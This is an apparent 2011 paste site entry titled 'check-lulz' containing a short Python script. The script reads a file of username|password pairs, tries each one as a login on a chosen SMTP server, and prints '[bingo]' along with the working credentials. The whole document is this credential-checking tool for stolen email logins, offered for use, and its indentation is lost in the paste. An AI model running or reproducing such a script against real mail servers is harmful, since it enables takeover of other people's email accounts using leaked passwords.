
check-lulz
By: a guest on Sep 9th, 2011 | syntax:
Python | size: 0.91 KB | hits: 116 | expires: Never
import smtplib
import sys
if (len(sys.argv) < 4):
print(sys.argv[0] + " usage: python " + sys.argv[0] + " <credentials.txt> <smtp.example.com> <port> " );
print("You should check the format of your credentials file. ");
else:
f = open(sys.argv[1], 'r')
for line in f:
mail_user = line.split("|")[0]
mail_pwd = line.split("|")[1]
try:
smtpserver = smtplib.SMTP(sys.argv[2], sys.argv[3])
smtpserver.ehlo()
smtpserver.starttls()
smtpserver.ehlo
smtpserver.login(mail_user, mail_pwd)
print ("[bingo] username:" + mail_user + " password:" + mail_pwd)
except smtplib.SMTPAuthenticationError:
# print ("Fail:" + mail_user)
pass